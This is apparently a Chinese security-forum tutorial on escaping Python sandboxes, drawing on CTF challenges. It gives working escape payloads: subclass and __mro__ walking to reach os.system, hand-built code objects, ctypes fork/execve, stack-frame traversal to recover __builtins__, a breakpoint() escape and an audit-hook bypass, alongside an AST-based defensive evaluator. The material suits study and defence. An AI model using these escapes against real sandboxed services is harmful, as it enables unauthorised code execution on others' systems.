<div class="col-xs-12 col-md-9 main" style=width:100%>
<div class=widget-article>
<h3 class="title word-wrap">Python沙箱逃逸の旁门左道</h3>
<ul class=taglist-inline>
<li class=tagPopup><a class=tag href=https://forum.butian.net/topic/48>漏洞分析</a></li>
</ul>
<div class="content mt-10">
<div class="quote mb-20">
本文结合CTF真题和作者对Python底层的理解,贡献了不一样的PyJail的绕过手法
</div>
<textarea id=md_view_content style=display:none>开篇
==
本文会带你了解一些绕过Pyjail的高级技巧,其实绕过过滤无非就是两种操作:**替换**和**通过更加底层的手段在实现**,所以,我们先来了解一下Python这门语言的底层特性并且以此来展示对应的Pyjail绕过手法
全局变量
====
这是基础知识,`globals`顾名思义就是公共的变量空间,里面包括你定义或者系统自带的全局变量,而由于函数也是特殊的对象变量,所以像是`__builtins__`里面的基础函数如`len`,`print`,`eval`这些的可以看作特殊的全局变量
```py
&gt;&gt;&gt; dir(globals()['__builtins__'])
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BaseExceptionGroup',
'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EncodingWarning', 'EnvironmentError', 'Exception', 'ExceptionGroup', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'ModuleNotFoundError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'RecursionError', 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '_', '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__',
'abs', 'aiter', 'all', 'anext', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr',
'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']
&gt;&gt;&gt;
```
这个就是所有Py3.12的内置函数了。
Blue Team:消除对应的高危的函数
--------------------
例如我在一个执行数学计算的python环境中,我并不需要像是`getattr`,`__import__`,`map`这些设计到代码执行的高危函数,所以为了保证安全我完全可以把这些内置函数给消除。就像这样:
```py
&gt;&gt;&gt; expression='a'
&gt;&gt;&gt; context={'a':123}
&gt;&gt;&gt; eval(expression, {"__builtins__": {}}, context)
123
&gt;&gt;&gt; expression='__import__("os").system("ls")'
&gt;&gt;&gt; eval(expression, {"__builtins__": {}}, context)
Traceback (most recent call last):
File "&lt;stdin&gt;", line 1, in &lt;module&gt;
File "&lt;string&gt;", line 1, in &lt;module&gt;
NameError: name '__import__' is not defined
&gt;&gt;&gt;
```
这样就去除了所有的内置方式,只保留了基础的数学计算的功能,但其实这个还是不够安全的
Red Team:
---------
例如我可以通过不断回溯上一个`__class__`并且通过`__subclesses__`查找子类,最终通过`_wrap_close`类就能够实现最终实现提取到全局变量重获`__builtins__`了
```py
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]('ls')
```
![image.png](https://shs3.b.qianxin.com/attack_forum/2025/01/attach-af622edd7f2c05f66cbdf9ac4219a6191e7e0cff.png)
还有比如
### **mro**
在 Python 中,**MROMethod Resolution Order** 指的是类继承层次结构中搜索方法或属性的顺序。
可以通过类的 `__mro__` 属性查看其方法解析顺序。`__mro__` 是一个元组,包含了类继承层次结构中从当前类到最高父类(通常是 `object`)的所有类。在拿到父类之后就可以通过subclasses故技重施了
![image.png](https://shs3.b.qianxin.com/attack_forum/2025/01/attach-640615fc6fed30f0ebb54a1384a2a79cbad9b978.png)
这个就是flask的jinja2的ssti经典攻击思路了
其实开发者还可以使用AST沙箱来进行防御比如:
```py
import ast
class SafeEvaluator(ast.NodeVisitor):
"""
AST 节点访问器,用于检查表达式的安全性。
禁止所有属性访问(如 obj.attr)以及其他潜在危险的操作。
"""
def __init__(self):
super().__init__()
self.allowed_nodes = (
ast.Expression,
ast.Call,
ast.Name,
ast.Load,
ast.BinOp,
ast.UnaryOp,
ast.Constant, # 对于 Python 3.8 及更高版本
ast.List,
ast.Tuple,
ast.Dict,
ast.BoolOp,
ast.Compare,
ast.IfExp,
)
self.allowed_operators = (
ast.Add, ast.Sub, ast.Mult, ast.Div, ast.Mod,
ast.Pow, ast.BitXor, ast.USub, ast.UAdd,
ast.Eq, ast.NotEq, ast.Lt, ast.LtE, ast.Gt, ast.GtE,
ast.And, ast.Or, ast.Not,
)
def visit(self, node):
if not isinstance(node, self.allowed_nodes):
raise ValueError(f"不允许的节点类型: {type(node).__name__}")
return super().visit(node)
def visit_Attribute(self, node):
# 禁止属性访问
raise ValueError("禁止属性访问")
def visit_Call(self, node):
if isinstance(node.func, ast.Attribute):
raise ValueError("禁止通过方法调用执行函数")
self.generic_visit(node)
def visit_Name(self, node):
if node.id.startswith("__"):
raise ValueError(f"禁止访问名称: {node.id}")
self.generic_visit(node)
def visit_BinOp(self, node):
if not isinstance(node.op, self.allowed_operators):
raise ValueError(f"不允许的操作符: {type(node.op).__name__}")
self.generic_visit(node)
def visit_UnaryOp(self, node):
if not isinstance(node.op, self.allowed_operators):
raise ValueError(f"不允许的操作符: {type(node.op).__name__}")
self.generic_visit(node)
def visit_BoolOp(self, node):
if not isinstance(node.op, self.allowed_operators):
raise ValueError(f"不允许的布尔操作符: {type(node.op).__name__}")
self.generic_visit(node)
def visit_Compare(self, node):
for op in node.ops:
if not isinstance(op, self.allowed_operators):
raise ValueError(f"不允许的比较操作符: {type(op).__name__}")
self.generic_visit(node)
def visit_IfExp(self, node):
self.generic_visit(node)
def secure_eval(expression, context=None):
"""
安全地评估表达式,禁止属性访问和其他危险操作。
:param expression: 要评估的表达式字符串
:param context: 提供给表达式的上下文(变量和函数)
:return: 表达式的计算结果
"""
if context is None:
context = {}
# 解析表达式的 AST
try:
tree = ast.parse(expression, mode='eval')
except SyntaxError as e:
raise ValueError(f"无效的表达式: {e}")
# 检查 AST 的安全性
SafeEvaluator().visit(tree)
# 编译并安全地执行表达式
try:
compiled = compile(tree, filename="&lt;safe_eval&gt;", mode="eval")
return eval(compiled, {"__builtins__": {}}, context)
except Exception as e:
raise ValueError(f"表达式评估出错: {e}")
# 示例使用
if __name__ == "__main__":
context = {
"name": "Alice",
"age": 25,
"greet": lambda name: f"Hello, {name}!"
}
expressions = [
"greet(name)", # 安全: 调用允许的函数
"age + 5", # 安全: 简单计算
"__import__('os').system('ls')", # 不安全: 尝试访问 __import__
"name.__class__", # 不安全: 尝试属性访问
"greet.__globals__['os'].system('ls')", # 不安全
]
for expr in expressions:
try:
result = secure_eval(expr, context)
print(f"表达式 '{expr}' 的结果: {result}")
except ValueError as ve:
print(f"表达式 '{expr}' 被拒绝: {ve}")
```
但是也有对应的绕过办法,留给下一篇博客吧
CodeObject
==========
其实上文也有提及,python中万物接对象,包括正在执行的字节码对象(**codeobject**)。为了将脚本代码转化成可以被PVM(Python虚拟机)执行的字节码,Py开发者专门保留了compile函数来完成脚本代码到字节码对象(**codeobject**)的转化。所以,但凡涉及到动态代码执行的节点,都会调用compile函数:包括但不限于:`exec`,`eval`,`map`,`__import__`...Blue Team 通过禁用compile,就能杜绝大部分通过动态执行绕过黑白名单的操作了,比如:`eval('pop'+'en("ls")')`
但不是所有。
函数即obj
------
例如在这里我可以通过如下这个函数实现查看:
```py
def check(obj):
"""
检查对象的非魔术属性和方法,并打印详细信息。
"""
from inspect import ismethod, isfunction
print(f"Inspecting object of type: {type(obj)}\n")
for i in dir(obj):
# 跳过魔术方法和属性
if i.startswith('__'):
continue
try:
attr = getattr(obj, i) # 尝试获取属性值
if ismethod(attr) or isfunction(attr):
print(f"[Method] {i}()")
else:
print(f"[Attribute] {i} = {repr(attr)}")
except Exception as e:
print(f"[Error] {i} - Could not retrieve value: {e}")
```
函数对象的Codeobject属性都在`__code__`这里直接上:
```py
&gt;&gt;&gt; check(add.__code__)
Inspecting object of type: &lt;class 'code'&gt;
[Attribute] _co_code_adaptive = b'\x97\x00X\x00|\x01z\x00\x01\x00S\x00'
[Attribute] _varname_from_oparg = &lt;built-in method _varname_from_oparg of code object at 0x7f50dc123840&gt;
[Attribute] co_argcount = 2
[Attribute] co_cellvars = ()
[Attribute] co_code = b'\x97\x00|\x00|\x01z\x00\x00\x00S\x00'
[Attribute] co_consts = (None,)
[Attribute] co_exceptiontable = b''
[Attribute] co_filename = '&lt;stdin&gt;'
[Attribute] co_firstlineno = 1
[Attribute] co_flags = 3
[Attribute] co_freevars = ()
[Attribute] co_kwonlyargcount = 0
[Attribute] co_lines = &lt;built-in method co_lines of code object at 0x7f50dc123840&gt;
[Attribute] co_linetable = b'\x80\x00\xd8\t\n\x881\x89\x13\x80*'
&lt;stdin&gt;:12: DeprecationWarning: co_lnotab is deprecated, use co_lines instead.
[Attribute] co_lnotab = b'\x02\x01'
[Attribute] co_name = 'add'
[Attribute] co_names = ()
[Attribute] co_nlocals = 2
[Attribute] co_positions = &lt;built-in method co_positions of code object at 0x7f50dc123840&gt;
[Attribute] co_posonlyargcount = 0
[Attribute] co_qualname = 'add'
[Attribute] co_stacksize = 2
[Attribute] co_varnames = ('a', 'b')
[Attribute] replace = &lt;built-in method replace of code object at 0x7f50dc123840&gt;
&gt;&gt;&gt;
```
就会发现和普通的CodeObject没啥两样,都是编译完成后的字节码对象,那么我们可以通过自己声明字节码对象实现绕过compile方法:
### 不同版本下手动声明函数
例如,我想手动声明一个函数实现system的功能:
#### 在Python3.11+中:
```py
import types
co_code = b'\x97\x00t\x01\x00\x00\x00\x00\x00\x00\x00\x00d\x01\xab\x01\x00\x00\x00\x00\x00\x00j\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00|\x00\xab\x01\x00\x00\x00\x00\x00\x00j\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xab\x00\x00\x00\x00\x00\x00\x00S\x00'
co_consts = (None, 'os')
co_names = ('__import__', 'popen', 'read')
co_varnames = ('cmd',)
co_argcount = 1
co_posonlyargcount = 0
co_kwonlyargcount = 0
co_nlocals = 1
co_stacksize = 3
co_flags = 3
co_filename = '&lt;stdin&gt;'
co_name = 'my_exec'
co_firstlineno = 1
co_lnotab = b'\x00\x01' # 简单的行号表
co_cellvars = ()
co_freevars = ()
# 构造 CodeType 对象
code_obj = types.CodeType(
co_argcount,
co_posonlyargcount,
co_kwonlyargcount,
co_nlocals,
co_stacksize,
co_flags,
co_code,
co_consts,
co_names,
co_varnames,
co_filename,
co_name,
co_firstlineno,
co_lnotab, # Python 3.9 使用 co_lnotab
co_cellvars,
co_freevars
)
# 创建函数对象
my_exec_reconstructed = types.FunctionType(code_obj, globals())
my_exec_reconstructed('ls')
```
#### python3.9
```py
co_code = b't\x00d\x01\x83\x01\xa0\x01|\x00\xa1\x01\xa0\x02\xa1\x00S\x00'
co_consts = (None, 'os')
co_names = ('__import__', 'popen', 'read')
co_varnames = ('cmd',)
co_argcount = 1
co_posonlyargcount = 0
co_kwonlyargcount = 0
co_nlocals = 1
co_stacksize = 3
co_flags = 67 # 67 表示有闭包和优化标志
co_filename = '&lt;stdin&gt;'
co_name = 'my_exec'
co_firstlineno = 1
co_lnotab = b'\x00\x01' # 行号表
co_cellvars = ()
co_freevars = ()
# 构造 CodeType 对象
code_obj = types.CodeType(
co_argcount,
co_posonlyargcount,
co_kwonlyargcount,
co_nlocals,
co_stacksize,
co_flags,
co_code,
co_consts,
co_names,
co_varnames,
co_filename,
co_name,
co_firstlineno,
co_lnotab, # Python 3.9 使用 co_lnotab
co_cellvars,
co_freevars
)
# 创建函数对象
my_exec_reconstructed = types.FunctionType(code_obj, globals())
```
其他的就还要查文档了没来得及搞
### 手搓system
其实system的底层原理还是去调用linux的系统函数在 Linux 下,执行 `os.system("ls")` 的背后,操作系统会经历以下几个步骤:
#### **分身术:`fork()`**
操作系统首先会用 `fork()` 系统调用,创建一个“子进程”。你可以把它想象成操作系统的一个小分身,它专门负责干这件事。
&gt; “我先分一个小号出来,专门跑这个命令。”
这一步的目的是让 Python 主程序可以继续运行,而不被命令的执行耽误。
#### **换衣术:`exec()`**
接下来,这个子进程会用 `exec()` 系统调用,把自己“变装”成你要执行的命令(比如 `ls`)。你可以想象成这个分身穿上了“ls 命令”的衣服,变成了一个可以执行 `ls` 的程序。
&gt; “我现在是 `ls`,准备开始工作!”
#### **等待命令完成**
子进程开始执行命令(比如列出文件夹内容)。当命令执行完毕后,它会告诉操作系统:
&gt; “我干完活了,没问题!”
然后,操作系统会把这个结果传回给 C 标准库,C 再把结果告诉 Python。
#### **清理现场**
最后,操作系统会清理掉子进程,确保不留垃圾。
具体的流程图:
![image.png](https://shs3.b.qianxin.com/attack_forum/2025/01/attach-8cedb85849de55a377f5446e3ef2bdb197cdc340.png)
所以,只要pyjail不禁用ctypes,我们就能够间接的通过ctypes调用c语言实现上述的调用
```py
import ctypes
libc = ctypes.CDLL(None)
FORK = libc.fork
EXECVE = libc.execve
EXIT = libc._exit
def my_system(command):
# 将命令分解为程序和参数
args = command.split()
program = args[0]
argv = (ctypes.c_char_p * (len(args) + 1))()
for i, arg in enumerate(args):
argv[i] = arg.encode('utf-8')
argv[len(args)] = None # 以 NULL 结尾
pid = FORK()
if pid == 0:
EXECVE(program.encode('utf-8'), argv, None) # 执行命令
EXIT(1)
else:
libc.waitpid(pid, None, 0) # 父进程等待子进程完成
my_system("/bin/ls")
```
栈帧相关
====
什么是Python栈帧?
------------
其实python中万物接在栈帧中,上至import新库和创建线程,中至函数调用,下至类中变量加减,都会创建栈帧,也就是说Python是一门基于栈帧的语言。下面我们结合脚本和gdb,帮助大家理解啥是python栈帧。还是经典的删除`__builtins__`的例子:
```py
key = "this is flag"
codes='''
def function_c(param):
result = param ** 2 # 定义局部变量
print(f"In function_c: param={param}, result={result}")
i=1
while True:
i+=1
function_c(3)
'''
locals = {
"__builtins__": None, # 禁用默认的 __builtins__
"print": print, # 手动允许 print 函数
"True": True, # 手动允许 True 常量
"False": False, # 手动允许 False 常量
}
code = compile(codes, "", "exec")
exec(code, locals, None)
```
GDB视角下的栈帧
---------
我这边直接用自带python3.12自带的gdb插件`libpython.py`来调试该进程,仔细看看它的内存结构
```bash
┌──(kali㉿kali)-[~/Desktop/Python-3.12.0/Tools/gdb]
└─$ gdb -p 2415
(gdb) source libpython.py
(gdb) bt
#0 long_dealloc (self=1454328774) at ../Objects/longobject.c:3326
#1 0x00000000005d6881 in _PyEval_EvalFrameDefault (
tstate=tstate@entry=0xbaf310 &lt;_PyRuntime+458992&gt;, frame=&lt;optimized out&gt;,
frame@entry=0x7f4aadfdc090, throwflag=throwflag@entry=0) at Python/bytecodes.c:209
#2 0x00000000005cd7dd in _PyEval_EvalFrame (tstate=0xbaf310 &lt;_PyRuntime+458992&gt;,
frame=0x7f4aadfdc090, throwflag=0) at ../Include/internal/pycore_ceval.h:89
#3 _PyEval_Vector (tstate=0xbaf310 &lt;_PyRuntime+458992&gt;, func=0x7f4aad721c60,
locals={'__builtins__': None, 'print': &lt;built-in method print of module object at remote 0x7f4aadc48270&gt;, 'True': True, 'False': False, 'function_c': &lt;function at remote 0x7f4aad73dd00&gt;}, args=0x0, argcount=0, kwnames=0x0) at ../Python/ceval.c:1683
...
#10 0x00000000005cee43 in _PyEval_EvalFrameDefault (
tstate=tstate@entry=0xbaf310 &lt;_PyRuntime+458992&gt;, frame=&lt;optimized out&gt;,
--Type &lt;RET&gt; for more, q to quit, c to continue without paging--
frame@entry=0x7f4aadfdc020, throwflag=throwflag@entry=0) at Python/bytecodes.c:2715
#11 0x00000000005cd7dd in _PyEval_EvalFrame (tstate=0xbaf310 &lt;_PyRuntime+458992&gt;, frame=0x7f4aadfdc020, throwflag=0) at ../Include/internal/pycore_ceval.h:89
#12 _PyEval_Vector (tstate=0xbaf310 &lt;_PyRuntime+458992&gt;, func=0x7f4aadc86340,
locals={'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': &lt;SourceFileLoader(name='__main__', path='/home/kali/Desktop/Python-3.12.0/Tools/gdb/stack_frame_exp.py') at remote 0x7f4aad702210&gt;, '__spec__': None, '__annotations__': {}, '__builtins__': &lt;module at remote 0x7f4aadc48270&gt;, '__file__': '/home/kali/Desktop/Python-3.12.0/Tools/gdb/stack_frame_exp.py', '__cached__': None, 'os': &lt;module at remote 0x7f4aadca50d0&gt;, 'key': 'this is flag', 'codes': '\ndef function_c(param):\n result = param ** 2 # 定义局部变量\n print(f"In function_c: param={param}, result={result}")\n i=1\n while True:\n i+=1\n\nfunction_c(3 ) \n', 'locals': {'__builtins__': None, 'print': &lt;built-in method print of module object at remote 0x7f4aadc48270&gt;, 'True': True, 'False': False, 'function_c': &lt;function at remote 0x7f4aad73dd00&gt;}, 'code': }, args=0x0, argcount=0, kwnames=0x0) at ../Python/ceval.c:1683
#13 PyEval_EvalCode (co=co@entry=,
```
所以你看在不同的栈帧中是有不同的全局变量的,例如在初始的栈帧中`#3`中`__builtins__`就是正常的,但是在沙箱的`exec`的栈帧中,`'__builtins__': None`,接下来我们使用`py-up`向上移动我们调试的栈帧,分别使用`py-print`查看,也符合我们的假设
```py
(gdb) py-bt
Traceback (most recent call first):
File "", line 7, in function_c
File "", line 9, in &lt;module&gt;
&lt;built-in method exec of module object at remote 0x7f4aadc48270&gt;
File "/home/kali/Desktop/Python-3.12.0/Tools/gdb/stack_frame_exp.py", line 21, in &lt;module&gt;
exec(code, locals, None)
(gdb) py-print __builtins__
global '__builtins__' = None
(gdb) py-up
#7 &lt;built-in method exec of module object at remote 0x7f4aadc48270&gt;
(gdb) py-print __builtins__
Unable to read information on python frame
(gdb) py-up
#10 Frame 0x7f4aadfdc020, for file /home/kali/Desktop/Python-3.12.0/Tools/gdb/stack_frame_exp.py, line 21, in &lt;module&gt; ()
exec(code, locals, None)
(gdb) py-print __builtins__
global '__builtins__' = &lt;module at remote 0x7f4aadc48270&gt;
(gdb)
```
其实这个栈帧是用链表实现的,其中的`f_next`属性指向的是下一栈帧,`f_back`属性就是上一个栈帧,内存结构如下
![image.png](https://shs3.b.qianxin.com/attack_forum/2025/01/attach-1fa17768501cc013514d42d650af783e9f50781c.png)
其实栈帧是python的底层架构,我们可以通过栈帧对象的`f_code`获取当前栈帧的Codeobject对象,又或者是**`f_lineno`**获取当前执行的行号,**`f_locals`**得到所有的局部变量,理论上配合`f_back`,我们就能够操纵几乎所有的内存了,其实`ipdb`的原理就是通过操作栈帧和`sys.settrace`实现调试的。
获取栈帧
----
那现在我们知道了栈帧的特性了,我们如何在python代码中操作栈帧呢?首先当然是获取栈帧了
既然栈帧无处不在,我们可以通过如下多种方式获取当前的栈帧
### 通过报错
```py
def get_stack_frame_via_exception():
try:
raise Exception
except Exception as e:
tb = e.__traceback__ # 获取异常的回溯对象
while tb.tb_next: # 遍历到当前帧
tb = tb.tb_next
return tb.tb_frame # 返回当前栈帧对象
```
### 通过闭包
```py
def get_stack_frame_via_closure():
frame = None
def inner():
nonlocal frame
frame = (lambda: None).__code__.co_frame # 获取当前帧
inner()
return frame
```
### 通过生成器
```py
def waff():
def f():
yield g.gi_frame.f_back
g = f()
frame = next(g)
b = frame.f_back.f_back.f_globals['key'] #返回并获取前一级栈帧的globals
return b
```
利用方式
----
例如,我们就能够通过不断回溯上一级的栈帧实现获取到完整的builtins,最终实现沙箱逃逸
```py
def waff():
def f():
yield g.gi_frame.f_back
g = f() #生成器
frame = [i for i in g][0] #获取到生成器的栈帧对象
b = frame.f_back.f_back.f_back.f_globals['__builtins__'] #返回并获取前一级栈帧的globals
return b
```
又或者在全交互的情况下,直接调用自带的`ipdb`实现逃逸,我这里直接执行了`breakpoint()`就可以直接进入调试器模式
```py
&gt;&gt;&gt; breakpoint()
--Return--
&gt; &lt;stdin&gt;(1)&lt;module&gt;()-&gt;None
(Pdb) !__import__('os').system('ls')
api.txt Desktop Documents Downloads Music Pictures pslist_output.txt Public rekall-1.6.0 rekall-1.6.0.zip Templates test.py Videos
0
(Pdb)
```
推荐:[【python】python的骨架frame——你写的代码都是运行在它里面的?\_哔哩哔哩\_bilibili](https://www.bilibili.com/video/BV1iB4y1S7nT?spm_id_from=333.788.videopod.sections&amp;vd_source=1e4f989ac1dfcfcf4a325107d3fc20cb)
审计钩子
====
`sys.audit` 是 Python 3.8 引入的一种安全审计机制,旨在为应用程序和库提供一种监控敏感操作的方式。Python 的许多内置函数和操作(如文件操作、网络操作、动态代码执行等)在执行时会调用 `sys.audit` 触发审计事件,比如`exec`,`socket.connect`,最恶心的,就是这个代码是C语言解释器源码层面(`PySys_Audit`)的,一但加载,不能够被Py语言层级卸载。
偷天换日
----
例如在强网杯中,这道题就是使用了审计钩子:
```py
def do(source_code):
hook_code = '''
def my_audit_hook(event_name, arg):
blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
if len(event_name) &gt; 4:
raise RuntimeError("Too Long!")
for bad in blacklist:
if bad in event_name:
raise RuntimeError("No!")
__import__('sys').addaudithook(my_audit_hook)
'''
print(source_code)
code = hook_code + source_code
tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)
try:
if verify_secure(tree):
with open("run.py", 'w') as f:
f.write(code)
result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
# os.remove('run.py')
return result
else:
return "Execution aborted due to security concerns."
except:
os.remove('run.py')
return "Timeout!"
```
那该如何破解?
例如在这个你会发现他这个审计钩子是通过len函数实现审计的,由于与上文函数就是一个特殊的变量,我们完全可以给这个变量重新赋值,使其审计失效:
```py
[len:=lambda x:1,os:=__import__("os"),os.system(cmd)]
```
![image.png](https://shs3.b.qianxin.com/attack_forum/2025/01/attach-436d2cdb5fe99ce38f7a23f949621261e509d87c.png)
import相关利用
==========
其实import函数的导入包的过程是有先后顺序的,我们用strace查看下具体的文件查看流程,以`import logging`为例子:
```bash
┌──(kali㉿kali)-[~]
└─$ strace -e openat python3 -c "import logging"
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libm.so.6", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libz.so.1", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libexpat.so.1", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/locale/locale-archive", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/pyvenv.cfg", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/bin/pyvenv.cfg", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/bin/python3._pth", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/bin/python3.12._pth", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/bin/pybuilddir.txt", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/localtime", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/encodings/__pycache__/__init__.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/encodings", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/encodings/__pycache__/aliases.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/encodings/__pycache__/utf_8.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/local/lib/python3.12/dist-packages", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
openat(AT_FDCWD, "/usr/lib/python3/dist-packages", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
openat(AT_FDCWD, "/usr/lib/python3/dist-packages/PasteScript-3.6.0-nspkg.pth", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/encodings/__pycache__/utf_8_sig.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/types.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/importlib/__pycache__/__init__.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/warnings.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/importlib", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/importlib/__pycache__/_abc.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3/dist-packages", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
openat(AT_FDCWD, "/usr/lib/python3/dist-packages/distutils-precedence.pth", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/lib-dynload", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
openat(AT_FDCWD, "/usr/local/lib/python3.12/dist-packages", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
openat(AT_FDCWD, "/usr/lib/python3/dist-packages/_distutils_hack/__pycache__/__init__.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3/dist-packages/repoze.lru-0.7-nspkg.pth", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3/dist-packages/zc.lockfile-3.0.post1-nspkg.pth", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3/dist-packages/zope.interface-7.1.1-nspkg.pth", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/sitecustomize.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
##----------------------------在这上面就是去完成初始化Python解释器环境----------------------
openat(AT_FDCWD, "/home/kali", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/logging/__pycache__/__init__.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
##--------------------------你会发现import是优先查找当前目录下是否存在logging.py,再去系统内置的/usr/lib/python3.12/看的
openat(AT_FDCWD, "/usr/lib/python3.12/re/__pycache__/__init__.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/enum.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/operator.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/functools.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/collections/__pycache__/__init__.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/keyword.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/reprlib.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/re", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/re/__pycache__/_compiler.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/re/__pycache__/_parser.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
